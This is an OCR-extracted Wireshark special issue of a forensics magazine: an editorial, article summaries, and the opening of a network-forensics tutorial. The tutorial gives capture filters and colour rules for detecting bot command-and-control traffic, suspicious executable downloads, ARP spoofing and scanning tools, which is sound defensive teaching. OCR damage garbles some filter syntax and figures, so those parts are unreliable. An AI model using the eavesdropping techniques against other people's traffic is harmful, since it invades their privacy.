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Dear Readers,
fter a great success of Network Forensics Toolbox, we have
decided to follow your wishes and develop a special edi-
tion dedicated just to your favourite network forensic tool
— nothing else, but Wireshark. We have made a great effort to
gather the best Wireshark experts willing to share their invaluable
knowledge with you and we are proud of the effects.
“Wireshark people” use to say, that packets don’t lie — undoubt-
edly you will be able to ascertian that when going through the tu-
torials we have gathered here. The power of this simple tool is tre-
mendous and you may be surprised how vast and various analysis
you can conduct with Wireshark...
As usual, | would like to thank you for the support and interest in
our Magazine. You are always welcome to visit our website, share
your opinion with us and comment on our activity — we appreci-
ate your feedback! And if you like our Magazine — don’t forget to
follow us on Facebook, Linkedin and Twitter (@eForensics_Mag).

| would like to thank as well our authors, which made my work
with this edition an amazing and amusing (sic!) experience.

Enjoy your reading and become Wireshark Master!

Ola Kobrzynska
& eForensics Team
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THE ENEMY INSIDE THE GATES A GUIDE TO USING OPEN SOURCE TOOLS

FOR NETWORK FORENSICS ANALYSIS. PART 1 - WIRESHARK

by Phill Shade, Certified instructor for Wireshark University, Expert and Speaker at SHARK-

FEST’13, internationally recognized Network Security and Forensics Expert

The goal of this brief tutorial is to introduce the concepts and techniques of Network Forensics Anal-

ysis including:

« Understanding the principles of Network Forensics Analysis and situations in which to apply
them to evidence analysis

« Selecting and configuring Wireshark for Network Forensics Analysis to capture and recognize traf-
fic patterns associated with suspicious network behavior.

«  Specialized Network Forensics Analysis techniques including suspicious data traffic reconstruc-
tion and viewing techniques such as Web-Browsing sessions, Emails or file transfer activities or for
detailed analysis and evidentiary purposes.

Network security principles including encryption technologies, defensive configurations of net-
work infrastructure devices and understanding and recognizing potential network security infra-
structure mis-configurations

USING WIRESHARK TO ANALYZE SSL CONFIGURATIONS AND CERTIFICATES
by Larry Greenblatt, WCNA, CISM, CISSP, CEH, SHARKFESTS speaker, security specialist with
three decades of information security, computer networking and protocol analysis experi-
ence. Founder of InterNetwork Defense, a consulting and training organization

With all the talk these days of internet spying and theft, people are becoming increasingly concerned
with protecting their information. As Laura Chappell, the founder of Wireshark University, might say,
you can have opinions from people on security, but packets don't lie. In this article | will show you
how to use some simple Wireshark display filters and settings to view SSL/TLS capabilities in brows-
ers, the negotiated cipher suite (the asymmetric, symmetric and hashing algorithms in use for the
current session) and the information stored in the certificate.

TWO REAL NETWORK FORENSICS ANALYSIS CASE STUDIES OF THE ATTACKS
ON PHP.NET AND THE BOSTON BOMBS MALWARE

by Javier Nieto Arévalo, FCNSA, FCNSP, author of http.//www.behindthefirewalls.com and
our regular contributor

We could say that we live an era where the signature-based Antivirus has less sense if we want to
fight against hackers who are creating customized malware only for their targets. Also, there are a

lot of Zero-Days attacks which are being used to infect millions of computers just visiting a website.
These Zero-Days attacks take advantages of unknown vulnerabilities for example Adobe or Flash
player plugins installed in the web browser to download and install malware which has not been rec-
ognized yet. Also the majority of them make connections with the Command and Control servers to
get the instructions of the hackers. Sometimes it is easier to detect infected hosts looking at their be-
havior in our network if we analyze the network traffic than using an Antivirus running on the host.

WIRESHARK FILTERS FOR NETWORK ANALYSIS

by Amandeep Kaur, CISC, CPH, CPFA, lecturer in Information Technology

Network Analysis is the process of listening to and analyzing network traffic. It offers an insight into
network communication to identify performance problems, analyze application behavior, locate se-
curity breaches, and perform capacity planning. IT professionals use these processes to validate net-
work performance and security.

CAPTURING E-MAILS AND GOOGLE IMAGE SEARCHES FROM YOUR
NETWORK

by Jessica Riccio, computer forensics technician, your favourite expert and our regular con-
tributor

Imagine that you are the manager of a company and receive a tip from an employee that another
employee is using his computer to view images that violate the company’s computer use policy. Af-
ter hearing this information, you want to decide if the allegations made against your employee are
true. All you need to do is launch Wireshark and follow Jessica's guide!
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SNOOPING ON CALLS USING WIRESHARK

by Milind Bhargava, CEH, ECSA, ethical hacker performing vulnerability assessment and
penetration testing services

(VolIP, n.d.) — Voice over Internet Protocol, is the new fashion in market. Everyone is moving towards
it. Not that | feel there is anything wrong with it. It is not really that secure. Irrespective of if you are a
forensic expert or a malicious user, using a tool as simple as Wireshark can help you listen to the calls
made on a network.

CARVING BINARY DATA FROM PACKET CAPTURES

by Kelly Doyle, CISSP, GAWN, GPEN, GCIH, GCFA, ECSA, C|EH, CPT, successful participant at
Cyberlympics and Hacker Halted 2013

Imagine you are an incident responder and are notified that your company’s network has been
compromised for the last several weeks. Your boss tasks you with identifying what information was
exfiltrated from the network. Where do you start? This article will introduce you to some of the basic
concepts for finding and carving out forensic artifacts off the wire.

NETWORK BASED FILE CARVING

by Gavin Stroy, CompTIA A+, Net+, Security+, CCNA, CCNP, independent security researcher
with a passion for network attack and defense

File carving is the name of the technique of pulling files out of a stream of bytes without the use of a
particular file system; much like finding a word in a word search puzzle. Network based file carving is
used to extract files from saved network traffic data that has been collected from tools such as Wire-
shark or TCPdump. This is useful for extracting viruses to be analyzed, identifying exfiltration, and
forensic investigations.

CATCHING GHOSTS OF THE AIR INVESTIGATING TRADITIONAL WEP
ATTACKS

by Nipun Jaswal, CISE, C|[EH, OSWP, M.tech, web application penetration tester and IT secu-
rity trainer

Wireless attacks are so common these days, and if a hacker finds a WEP enabled network, there is no
bigger jackpot for them. People have become smart and tend to use a WPA/WPA2 enabled network
these days, but still vulnerabilities in the wireless architecture seem yet unsolved. In this article we
will look at those traditional WEP attacks and will try investigating who, actually who, tried to break
into the network and what activities they performed? Basically we will reconstruct the entire crime
scene that happened over the wireless network.

SYN-FLOOD ATTACK, ANATOMY AND COUNTERMEASURES
by Mubarak Altheeb, technology enthusiast, MSc Networtk Security
SYN-flood attack is a serious threat to web servers and has been used to launch attacks against
websites all around the globe. Attackers can launch the attack with a spoofed source IP address to
prevent being detected. If you have a website for your business, your server can be targeted by SYN-
flood at any time.

.. and much morel!

NETWORK FORENSIC WITH WIRESHARK DISCOVERING AND ISOLATING
DOS/DDOS ATTACKS

by Yoram Orzach, author of “Network Analysis Using Wireshark Cookbook” and various
technical articles, experienced in design, implementation, and troubleshooting, along with
training for R&D, engineering, and IT groups

Denial-of-Service (DoS) or Distributed Denial-of-Service (DDoS) attacks are attempts to make a com-
puting or network resource unavailable to its users. There are various types of DoS/DDoS attacks,
some load the network to the point it is blocked for applications traffic, some load servers to that
point, and some are more sophisticated and try to “confuse” the application servers with bad data. Al-
though there are various tools for detection and prevention of these types of attacks, good old Wire-
shark can also be used for this purpose. In this article we will see some important features of Wire-
shark, were to place it for capturing data, and how to use it to identify attack patterns.



SNEAKY DNS: FORENSIC ANALYSIS ON DNS TUNNELING 7
by Andrius Januta, Teaching Assistant at Cyber Systems Security Lab in Stokholm Universi- 1 1 6

ty, author of “Information Security Audit Under Performance I1SO/ IEC 27000 Family Stan-

dard Requirements”

This article describes how one of the Internet’s core protocols is usually overlooked in organization’s

network security. This protocol is DNS, which in recent years gets more and more implemented in

various cyber attacks. This paper unravels how DNS tunnelling is used for malicious communications

124/

AUTOMATED INSPECTION OF X-RAY CARGO IMAGES USING WIRESHARK,
IMAGE STENOGRAPHY, AND MACHINE LEARNING

by Wilbert A. McClay, PhD, Research Scientist on digital forensics, machine learning and
signal processing; and Akshay Nayak

To demonstrate the concept of inspection of X-Ray Cargo images using Wireshark, Stenography,
and machine learning algorithms, three unique steps will be involved. The first step will involve pre-
processing, using Sobel Edge Operators and other image processing algorithms to extract unique
features of the graphical images, and the second step involves VBFA machine learning algorithms to
develop training matrices on these extracted features using likelihood values to distinguish one im-
age from another.
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THE ENEMY INSIDE
THE GATES

A GUIDETO USING OPEN SOURCE TOOLS FOR NETWORK
FORENSICS ANALYSIS. PART 1 - WIRESHARK

by Phillip D. Shade - CNX-Ethernet, PASTech, WCNA, WNAX-Forensics

The scene: an otherwise normal day in the Network Operations
Center, when the ringing of the phone heralds the news that
every Network Security Professional dreads: “I think our network
was hacked!” Suddenly, you are faced with answering questions
you hoped never to encounter:
- What damage has been done?
- Who was the intruder and how did they penetrate the existing
security precautions?
- Did the intruder leave anything such as a new user account,
a Trojan horse or perhaps some new type of Worm or Bot
software behind?
- Did you capture sufficient data to analyze and reproduce the
attack and verify the fix will work?

« principl f Network F ics Analysis and situ- . . . .
principies o7 TIGon rarensies Ainalysis and T and techniques to not only capturing suspicious data, but also
ations in which to apply them to evidence analysis th bility to di | tt hidd ithi inal
» selecting and configuring Wireshark for Network € abliity 10 discern unusual patterns hidden within seemingly
9 guring e T :
Forensics Analysis to capture and recognize traf- | NOrMal network traffic. The goal of this brief tutorial is to introduce the
fic patterns associated with suspicious network | concepts and techniques of Network Forensics Analysis including:
behavior.
« specialized Network Forensics Analysis tech- [ ¢ Understanding the principles of Network Forensics Analysis and
niques including suspicious situations in which to apply them to evidence analysis
* data traffic reconstruction and viewing techniques [«  Selecting and configuring various Open-Source tools, such as
. Wireshark and Network Miner for Network Forensics Analysis
What you shouUlGES. to capture and recognize traffic patterns associated with suspi-
» basic knowledge of key networking concepts cious network behavior
h as the OSI| Ref Model, TCP/IP pro- . ) . . . . .
Sueh as e T metencs Tore P 1 « Specialized Network Forensics Analysis techniques including
tocols and basic network infrastructure devices .. . . . . .
such as Switches. Routers. efc. suspicious data traffic reconstruction and viewing techniques
«  a basic familiarity with Wireshark such as Web-Browsing sessions, Emails or file transfer activi-

ties or for detailed analysis and evidentiary purposes.

® e

What you will leiig N etwork Forensics Analysis encompasses the investigative skills




il

* Network security principles including encryption technologies, defensive configurations of network
infrastructure devices and understanding and recognizing potential network security infrastructure
mis-configurations

WHAT YOU SHOULD KNOW BEFORE UTILIZING THE TECHNIQUES DISCUSSED IN THIS TUTORIAL:

+ A basic knowledge of key networking concepts such as the OSI Reference Model, TCP/IP protocols
and basic network infrastructure devices such as Switches, Routers, etc.

+ For maximum effectiveness, a basic familiarity with Wireshark and Network Miner is critical to maxi-
mize the learning experience.

WHAT IS NETWORK FORENSICS AND HOW DOES IT FIT INTO THE FORENSIC
INVESTIGATIVE PROCESS?

REPORTING

Figure 1. The classic Forensics Pyramid

The presence of cybercrime and cyber terrorism is on the rapid increase as we depend more and more
on computers and the Internet. These changes revel an emerging requirement for Law Enforcement and
Corporate Security personnel to work together to prevent, and solve increasingly more complex cases of
the computer networks being utilized for criminal and terrorist activities.

The traditional model of network forensics requires retrieving myriads of data elements from a multi-
tude of sources such as firewall logs, router logs, Intrusion Detection Systems (IDS), server logs, hard
drive and system dumps. The resulting collection must then be pieced together into a coherent picture,
but more often than not results in an incomplete one as shown below.

(2) Incomplete attack
data processed

[ IDS /IPS System ]

3

(1) Incoming Attack
bypasses firewall

e TIm ‘\\

LARACRAN

(3) Engineer receives incomplete data
fiom switch, Server & Firewall Log Files

Y
(4) Result: Incomplete reconstruction deters dfagnos:h

can result in inaccurate diagnosis / resolution! /

Figure 2. The traditional model of IT-based Network Forensics investigations
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Sound familiar? But what if there were new techniques that build upon existing technologies?

While the concepts and capabilities for Network-level Forensics have existed for several years; few
Law Enforcement or Networking Security professionals are aware of the depth of information available
by utilizing common open-source tools such as Wireshark and Network Miner in conjunction with stan-
dard forensics techniques and training. Only within the last few years have a few such groups begun to
explore this new area of expertise as information has begun to spread; primarily via informal exchanges
between peers. Comparatively recently, the definitions of Forensic Analysis as applied to IT-based cases
has been evolving to match the new techniques:

» Forensics Analysis — “...a science dedicated to the methodical gathering and analysis of evidence to
establish facts that can be presented in a legal proceeding...”

* In the Cyber-Security / Law Enforcement realm, this evolved into “Host or Computer Forensics”
— “...pertaining to legal evidence found in computers, digital storage mediums and the capture,
recording, and analysis of network events in order to discover the source of security attacks or
other problem incidents...” (Wikipedia)

Host Based Forensics Analysis: Collection and analysis of evidence recovered from or on specific de-
vices and is typically concerned with Legal requirements and evidence preservation.

Network Forensic Analysis: is based upon the use of special tools to analyze packet capture (trace)
files of network or internet traffic to evaluate suspicious Network Events or more simply, a new way of
looking at traditional packet file analysis that provides the missing piece in traditional Cyber-Forensic
Analysis and is concerned with the process of reconstructing a network event such as an Intrusion or
other suspicious Network or infrastructure outages.

Network Forensics changes the traditional forensics modal as previously shown in (figure xx) by add-
ing the proven abilities of Network Analysis tools such as the open-source Wireshark network analyzer
integrated with the existing high-performance, line-rate capture appliances known as Data-Recorders.
The resulting capture files drawn from the Data-Recorders, allow both Network Security and Law En-
forcement professionals to reconstruct and analyze suspect events in greater depth; to the individual bit
if necessary. These additional capabilities have altered the traditional model of Network Forensics result-

ing in a new configuration:
—'[ IDS/IPS System ]

—
(3) Event logged,
attack partially
tracked by IDS

(2) Data Recorder
records and aggregates
data throughout attack

(1) incoming Attack
bypasses firewall

(4) Result: Forensics Analysis reveals attacker, method, damaD

Figure 3. A new model for IT-based Network Forensics investigations
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So where do we start? What follows is a sample analysis sequence that is intended to serve as a start-
ing point in the Network Forensics process:

Select and perform initial configuration of tools you are using (such as Wireshark or Network Miner)
— For the discussion of this article, we will be using Wireshark, available from www.wireshark.org to
analyze the selected capture files. (Network Miner will be covered in Part 2 of this article).

Wireshark: Capture C
Capture
Capture Interface Link-layer header Prom. Mode Snaplen [E] Buffer [ME] Capture Filter
Local Area Connection
feBlocaba l0cd 2cB0-5504 Ethernet enabled default 2
1521882848
Wireless Network Connection
feB0-S413 $THE 285 1e8T Ethemnet enabled  default 2
0000
= - 5
Capture Interface Selection
Capture on all interfaces Manage Interfaces
#| Uze promiscuous mode on all interfaces
—
| Capture Filter: | -
Capture Files Display Options
File: | TestFile | Browse... 7] Update list of packets in real time [ D 1:splay Op[lOﬂS ]
¥] Use muttiple files Use pcap-ng format Automatically scroll during live capture
7] Nextfile every |20 2| [ mebibyte(s v
Next file every i o | Hide capture info dialeg
| Ring buffer with | 2000 - files Name Resolution
Stop capture after |1 file(s | Flle Optlons | | Resclve MAC addresses [ Narﬂe Reso‘utlon ]
Stop Capture Automatically After... ResoNe network kryerames
Resolve transport-layer name
Use external network name resolver
Help l Stop Capture Options Close

Figure 4. Wireshark initial Capture Configuration Screen showing the various standard options for capturing suspect traffic
(Note - Recommended Capture settings are shown in the screen shot)

Details of the Wireshark Capture interface:

» Capture Interface Selection — Choose the adapter from which the capture buffer will capture packets
from
+ Display Options — Controls how the packets being captured are display while the capture is in prog-
ress
* Name Resolution Options — Specifies how various layers of addressing contained with each packet
will be displayed
* Resolve MAC Address — Selection of this option directs Wireshark to use its built-in table
of Vendor ID’s to be consulted resulting in the first three hexadecimal bytes of each MAC ad-
dress to be substituted with the registered Vendor Identification name from www.ieee.org;
i.e.00:00:0c:01:02:03 is displayed Cisco_01:02:03
* Resolve Network-layer Names — Selection of this option directs Wireshark to do a DNS-look-
up and substitute the results in the display in place of the IP Address; i.e. 157.166.26.25 is dis-
played as www.cnn.com
* Resolve Transport-layer Names — Selection of this option directs Wireshark to use its built-in ta-
ble of TCP / UDP Port number’s to be consulted resulting in the Port number bytes of each trans-

www.eForensicsMag.com @ \»)
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port layer address to be substituted with the registered Port Identification/ Service name from
www.iana.org; i.e. TCP Port 80 is displayed as HTTP

* Use External Network Name Resolver — Selection of this option directs Wireshark to use a user-
specified external name resolver

Capture File Options:

» File — Allows the user to specify a unique capture file name

* Multiple Files — Allows the user to specify conditions under which multiple sequential files are
captured (used extensively in long-term capture situations). Trigger conditions for the next cap-
ture file are user-specified by either file size or time values

* Ring buffer with — Allows the user to specify how many capture files will comprise the current
capture session. The alternative is to select “Stop Capture after” and specify a number of capture
files value.

Stop Capture Options — Allows the user to specify when a capture should be stopped based on sev-

eral user-specified criteria including number of packets in the capture buffer, size of the capture file

or a time value.

Note: Additional information regarding capture configurations can be found in the Wireshark -> Help
-> User Guide or at wiki.wireshark.org

Attach to the network in the appropriate location — Capture the suspect traffic and related statistical

information (or load a previously captured evidence file)

* What packets do you want to see? — What segments will be carrying those packets? Do we need
to use some type of capture filter to limit the incoming packet stream?

» Set up mirroring (if in a switched environment) — What packets do you want to see? — What ports
will be carrying those packets?

+ Select an adapter — Consider implementing “stealth” capturing

+ Configure the capture buffer — How long do you want to capture? — Stop capture when buffer is
full, or keep going?

Under ideal conditions, we would be in a location where the traffic volume is low enough to allow for full
packet capture and analysis; however, there are times when the amount of traffic is too large to effective-
ly capture. When faced with such a situation or when the scope of the Law Enforcement Capture War-
rant is limited, consider using Wireshark Capture Filters to limit the quantity of packets being captured in

such traffic environments.

Examples of Capture Filters:

All traffic to and from a specific IP Address or subnet: host 192.168.0.1 or net 192.168.0.0/16

All Internet or Web traffic: port 80

Malicious Worm Traffic: dst port 135 or dst port 445 or dst port 1433 and tcp[tcpflags] & (tcp-syn) I=
0 and tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24

Note: Additional examples can be found at wiki.wireshark.org.

Assess key statistics and available expert systems — At this point we are only looking for interesting
or unusual things to identify for later analysis. Wireshark has the ability to use user-specified “Color
Rules” to detect and identify the presence of specifically defined behavior (see the section “Sample
Wireshark Color Rules” for some suggested sample color rules.

Lots of different things could make a protocol or station “suspicious” including:

The use of unusual device (Physical / MAC) or logical (Network / IP) Addresses or atypical traf-

fic patterns

* Unusual or unexpected Protocols such as Internet Relay Chat (IRC), TFTP or anomalous ARP /
DHCP / DNS requests

* Presence of WiFi or anomalous behavior such as unusual control or management traffic (Associ-
ation Requests / Responses)


http://www.iana.org

Ede Edit View Go b
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Filter: [+] Bpression.. Ciese 2pply e oy ene

o, - IP - Dest Time _____ DettaTime Protocol Size (B)  SecPort  Dest Port Info

3 141.157.228.12 10.1.1.31 0.082813263 0.082544327 TCP 60 1857 4444 1857 > 4444 [ACK) Seq=1521629590 Ack=22059

10.1.1.31 141.157.228.12 0.349040985 0.171157837 TCP 93 1857 4444 > 1857 [PSH, ACK] Seq=2205924038 Ack=

141.157.228.12 10.1.1.31 0.534942627 0.032245636 TCP 7 4444 1857 > 4444 [ACK] Seq=1521629629 Ack=12059,

141.157.228.12  10.1.1.31 0.752105713 0.134210587 TCP 60 1857 4444 1857 > 4444 [ACK] Seq=1521629629 Ack=22059.
] 37 131 : :

U 12.243.154.137 1.380397796 0.000167846 C 60 1818 135> 1818 [RST, ACK] Seq=0 Ack=

Figure 5. Sample Wireshark capture showing various Color Rules being applied to identify multiple suspicious events

Wireshark stores its color rules under a single table named “Wireshark Coloring Rules” and is located
either within the Icon Bar at the top of Wireshark or under “View -> Coloring Rules” menu choice.

[Edit Filter Order
List is processed in nrder until match is found

er - Xprobe (Custom) icmpwode == 123
Enable - [ ) frame matches "(%i)
ipid==0xeTTe
Disable
! 5 Scanner - Nessus (C ) frame matches" (T nessus” Move
PR <. - Scannes - Null Scan (LC) tep flags == 00000 selected filter
b _ up or down
M
SRR V<" - TP Data Streams (Custom) np
|- 1 Sec - ARP Bogus Requests (Man in The Middle) (Custom) not RFC 4436 (arp.opcode == 1) 88t !eth.dst = = f:ff:H:ff:6f:1f)
xport... Dow
£ ! ARP (custom) arp ot
i Clear ' c’__ D-a n_m.:_..rrn [ TR e Bl b mmbneime LT T e 1 e 1o B B B B R - 52
[ oo | ok || aesy |[ seve |[ conca |

Figure 6. A sample Wireshark color rule table showing an assortment of color rules designed to show a number of user-
specified forensic events of interest

Sample Wireshark Color Rules:

» Detect the presence of suspicious file downloads: Syntax: frame matches *“\.(?i)tar” or frame
matches”MZ” or frame matches “\.(?i)exe”

+ Detect the presence of IRC or Bot Command and Control traffic: Syntax: irc or frame matches
“(?i) join”

» Detect the presence of possible Bot Command and Control traffic based on unusual DNS traffic:
Syntax: dns.count.answers > 10

+ Detect the presence of a possible Man-in-the-Middle Attack: Syntax: (arp.opcode == 1) && !(eth.dst
== ff:AfAfFfAf:Af)

» Detect the presence of suspicious IP Header Options: Syntax: ip.hdr_len > 20 &&! igmp

» Detect the presence of obsolete ICMPv4 Types: Syntax: icmp.type >12

» Detect the presence of the Low Orbit lon Cannon Bot Software: Syntax: frame matches “(?i)pro-
bando”

* Detect the presence of the Nessus Scanning Software: Syntax: frame matches”(?j)nessus”

+ Detect the presence of the Retina / Ettercap Scanning Software: Syntax: ip.id==0xe77e

» Detect the presence of suspicious DNS Country Code extensions: Syntax: HTTP.HOST maTCHES “\[.](71)
(Rull en |l cz|l er | TR || nU) $”

www.eForensicsMag.com @ @
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Note: Additional examples of color rules can be found at wiki.wireshark.org.

i n e

Examination of the key Wireshark Statistical Menus will provide the Network Forensic Analyst with an
in-depth view of what was occurring within the network at the time the capture file was collected. At a
minimum, plan on utilizing the built-in Wireshark statistical menus such as Protocol Hierarchy, Endpoints
and Conversations to develop an overview of what is happening within the file and where to proceed for

detailed analysis.

A zeus-sample-.?.pc.gp 's Magical Mystery -

File Edit View Go Capture Analyze |Statistics Telephony Tools [ntemals Help

cocAam BRI AdeoaT L2 BB AQaD @#B W%

Filter: i Summary Y 3 Expression... Clear Apply Save  jpg exe

No. IP - Sre IP - Protocol Hierarchy ime  Protocol Size(B) SrcPort  DestPort
1  192.168.3.25 89|® Conversations TCE 62 1051 80
2 80487510 199 tndsens 9794 TCP 6 80 1051
3 192168325 89 o 2168 TCP 60 1051 80

L [0 Graph
I oo ) TCP
b Endpoaint List , ) : s
6 89.187.510 18 . ,D4761 TCP 1426 80 1051
7 89.187.51.0 19| s 523 TCP 1426 80 1051
8§ 192168325 89 oicom ,plise TCP 60 1051 80
9 80.187510. 19  soote-ouce.. 4961 TCP 1426 80 1051
10 89.187.51.0 19|  Colectd... 0326 TCP 1426 80 1051
11 89.187.51.0 19| | e 0796 TCP 1426 80 1051
12 192.168.325 89  .pp , pog4s  TCP 60 1051 80
13 192.168.3.25 89  ip Addresses.. 8967 TCP 60 1051 80
14 89.187.51.0 18]  IP Destinations... 5203 TCP 1426 80 1051
150 BOESIOL g PP e ST TCP 1426 %0 losi
16 192.168325 9| o P ,bo260 TCP 60 1051 80
TTNEONSTSTONNIS|  1cP streamGraph 0334 TCP 1426 80 1051
18 192.168.3.25 89  UDP Multicast Streams j0693 TCP 60 1051 80
WLAN Traffic

-

Info

1051 > 80 [SYN] Seq=38
80 > 1051 [SYN, ACK] €
1051 > 80 [ACK] Seq=3§

80 > 1051 [ACK] Seq=4C
[TCP segment of a reasse
[TCP segment of a reasse
1051 > 80 [ACK] Seq=3§
[TCP segment of a reasse
[TCP segment of a reasse

[TCP segment of a reasse

1051 > 80 [ACK] Seq=3¢
1051 > 80 [ACK] Seq=3¢
[TCP segment of a reasse
[TCP segment of a reasse
1051 > 80 [ACK] Seq=3§
[TCP segment of a reasse
1051 > 80 [ACK] Seq=3¢

Figure 7. Showing three key statistics displays used in Network Forensic Analysis and located under the Wireshark “Statistics”

menu

EXAMPLE 1- PROTOCOL STATISTICS
By Examining the Wireshark Statistics -> Protocol Hierarchy menu, you might identify unexpected or
suspicious protocols on the network worth additional examination by using the “Right Click -> Select Re-

lated” option.

|l Wireshark: Protocol Hierarchy Statistics l aglﬂ
Display filter: none

Protocol % Packets Packets % Bytes Bytes Mbit/s End Packets End Bytes End Mbit/s
Packet comments .58 9

S Frame 511 105419 0.005 0 0 0000

5 Ethernet 511 105419 0.005 0 0 0000

=l Internet Protocol Version 4 511 105419 0.005 0 0 0.000

= Transmission Control Protocol s 2 Elo% 35952 0002 00 438 0001

Yahoo YMSG Messenger Protocol | 019% 1]012% 122 0.000 1 122 0.000

# Distributed Computing Environment / Remote Procedure Call (DCE/RPC) 311% 16] 212% 2244 0.000 10 1200 0.000

I Internet Relay Chat 4.28 % 22 | 656 % 6542 0.000 22 6942 0.000

Hypertext Transfer Protocol 175% 9] 216 % 2286 0.000 ] 2286 0.000

= User Datagram Protocol 7 % 262 2= % 69467 0.003 0 0 0.000

Trivial File Transfer Protocol Eh: % 68684 0.003 W6 6ME 0000

Data Fox mEE% 69 o3 111 61938 0003

Domain Name Service rl.ﬁ % 6] 074 % 783 0.000 6 783 0.000

Figure 8. The Wireshark Statistics -> Protocol Hierarchy display showing a chart of all of the network protocols contained
within the capture file. (Note — we have identified several suspicious protocols for further examination)

®
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Display filter: none
Protocol % Packets Packets % Bytes Bytes Mbit/sEnd PacketsEnd BytesEnd Mbit/s
# Packet comments 058 % 3[031% 327 0.000 0 0 0000
= Frame EXl 105419 0.005 0 0 0000
| Ethemnet s11 ETEE 105419 0.005 0 0 0000
5 Intemet Protocol Version 4 511 105419 0.005 0 0 0000
=) Transmission Control Protocol EE= sEwx 35052 0002 00 24358 0001
Yahoo YMSG Messenger Protocol [To19% 1[01z% 122 0.000 1 122 0000
= Distributed Computing Environment / Remote Procedure Call (DCE/RPC) | 311% !.6] 212 % 2244 0.000 10 1200 0,000
DCE/RPC Remote Management [[o7% 4[082% 872 0000 4 872 0000
ISystemActivator ISystemActivator Resolver | 039 % 2 | 0.16 % 172 0.000 2 172 0.000
428 % 6.56 % L AL 69 0
Hypertext Transfer Protocol Apply as Filter L Selected 9]216% 2286 0.000 9 2286 0.000
=) User Datagram Protocol Frepie Flled e 63 EETE % 69467 0.003 0 0 0000
S Trivial File Transfer Protocol |10 Frame |30 Soede 157 [EEH % esess 0003 W6 616 0000
Data Colorize Procedure » ... of Selected ¥ m 61538 0.003 1 193 0.003
... and not Selected
Domain Name Service e 6[074% 783 0.000 6 183 0000
[ Help l I Close |

Figure 9. The Wireshark Statistics -> Protocol Hierarchy display showing a specific protocol being selected for detailed
examination using the “Right-Click -> Select Related” option

EXAMPLE 2 - ENDPOINT STATISTICS

Perhaps a user reports “Slowness” or “Too many Errors”, and examination of the Wireshark Statistics
-> Endpoints reveals it is using an unusual pattern of addresses or one or more devices transmitting or
receiving an unusual amount of traffic. Also consider using Wireshark’s GeolP mapping capabilities via
loading the City, AS number and Country public databases from www.Maxmind.com. This will allows
the user to quickly identify suspicious IP addresses for further examination using the same “Right-Click”
method previously mentioned.

Ethemet: 53[ Fibre I|.~.r|m-|| FDO| 1Pwd: 52 | 1P .ﬁl i|u| ..(I;l:‘d: u[ .-\.-.»i| SCTP ‘((Pee| Token H.mgl upp | IJ\H1 WLAN
1P Endpuints

Address 4 Packets 4 Bytes 1 TxPackets 1 TuBytes 4 RxPackets 1 RxBytes 4 AS Number A Country - City 4 Eetitude 4 Longitude 4 -
165146413 1 594 1 4 ] 0 ASG167 Cellco Partnership DBA Verizan Wireless United States - 000000 -97.000000
174.24115249 1 702 ] 0 1 702 AS22394 Celleo Partnership DBA Verizen Wireless United States - 000000 -97.000000
217.162153.29 1 2 B b 972 o 0 ASBE3D Liberty Global Operations B.V. Switzerland Winterthur, 25 7500000 E.J25100
4112710564 1 918 o o 1 018 AS1E637 MTN Business Soclutions South Africa - 000000 24.000000
217.148.203.31 1 16 1 216 ] 0 A520532 Sakhalin Telecom Ltd. Russian Federation Yuzhno-sakhalinsk, 64 958039 142733704
10922524397 1 432 1 432 0 0 AS44281 Iskratelecom CISC Fussian Federation Moscow, 43 J32201 375615601
91.238.43.17 1 318 0 0 1 378 AS50935 Vertical Concept SRL Femania = 000000 25.000000
187.226.29.109 1 648 1 (2] 0 0- Mexica - 3000000 -102.000000
18222251125 1 540 o 0 i 540 AS17858 KRNIC Korea, Republic of Seoul, 11 7598499 126978302
114.52.169.47 1 918 1 18 o 0 AS18302 SK Telecom Korea, Republic of Seouwl, 11 598499 126978302
219.31.25312 1 1242 o 0 1 1242 ASI7676 Softbank BB Corp. Japan - 000000 138.000000
210.18.182.122 1 854 1 &4 0 Q- India Mumbai, 16 8.975000 72825798 | =
84177613 1 1188 0 0 1 1188 AS3320 Deutsche Telekom AG Germany Frankfurt Am Main, 05 116689 8.683300
782315331 1 11 1 1188 ] 0 AS12322 Free SAS France Balra, B3 3610100 1503700
571245126 1 1080 1 1080 0 0 AS2647 SITA SITA. Eurcpe - 7.000000 £.000000
197.39.149.01 1 702 1 702 0 0 AS8452 TE Data Egypt - 000000 30,000000
181.1453.24281 1 2654 o 0 1 854 AS26511 5.4 Celombia Bogotd, 34 4649200 -74.062798
11313420631 1 M o 0 1 394 ASLH Chinanet China Xian, 26 236301 108928506
39.110.210.3% 1 60 1 60 0 0- China Shenzhen, 30 333300 114133301
50.252.40.101 1 e 1 mn 0 0 AS17%68 Daging zhongji petroleum telecommunication consq China Daging, 02 5318001 127958298
11411312891 1 1026 1 1026 ] 0 AS4208 CNCGROUP IP network Chinal69 Beijing Province Nef China - 5.000000 105.000000
14611820214 1 102 o o 1 1026 - Australia - 7.000000 132.000000 -

] Name resclution | Limnit to display filter

_ — —_

| Hep ] [ Copy ]l Mep I Llose ]

Figure 10. The Wireshark “Statistics -> Endpoints” display showing IPv4 Address with the “GeolP” option enabled to display
ASN, Country and City information (note -GeolP can display both IPv4 and IPv6 addressing)
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Figure 11. The web-browser display showing the information plotted by GeolP when the “Map” of the Endpoints view is
selected

EXAMPLE 3 - CONVERSATION STATISTICS

Used primarily to identify suspicious or unusual conversation activity between address pairs, Wireshark’s
Statistics -> Conversations is very useful for obtaining a quick overview of traffic flows. As with the End-
point menu, be alert for questionable patterns in Physical or Logical addresses or port numbers such as
shown below:

IF _3 | [P\oﬁ] IPXI J}(TAI NCPI RS\."P] SCTP] TCP:m] Token Ring I UDP: 6] USEI] WLAN]
IPvd Conversations
Address A 4 AddressB 4 Packets ¢ Bytes ¢ Packets A—~B 4 Bytes A—B 4 Packets A—B ¢ Bytes A—B ¢ RelStart 4 Duration 4 bps A—E ¢ bpsA—B ¢ =
101131 141.157.228.12 41 8664 19 1303 2 7361 0000000000 171982 506.11 4407
101131 12.243.154.137 6 366 3 180 3 186  0.848049164 0.9745 1477.69 1526.95
101131 180.191.2531 1 62 1 62 0 0 15182403564 0.0000 N/A, N/A
101131 180191.253.2 1 62 1 62 0 0 15182544708 0.0000 N/A, N/A
101131 180.191.253.3 1 62 1 62 0 0 15.182664871 0.0000 N/A. N/A
101131 180.191.2534 1 62 1 62 1] 0 15182779312 0.0000 N/A, N/A
104431 180.191.253.5 1 62 1 62 0 0 15182899475 0.0000 N/A N/A
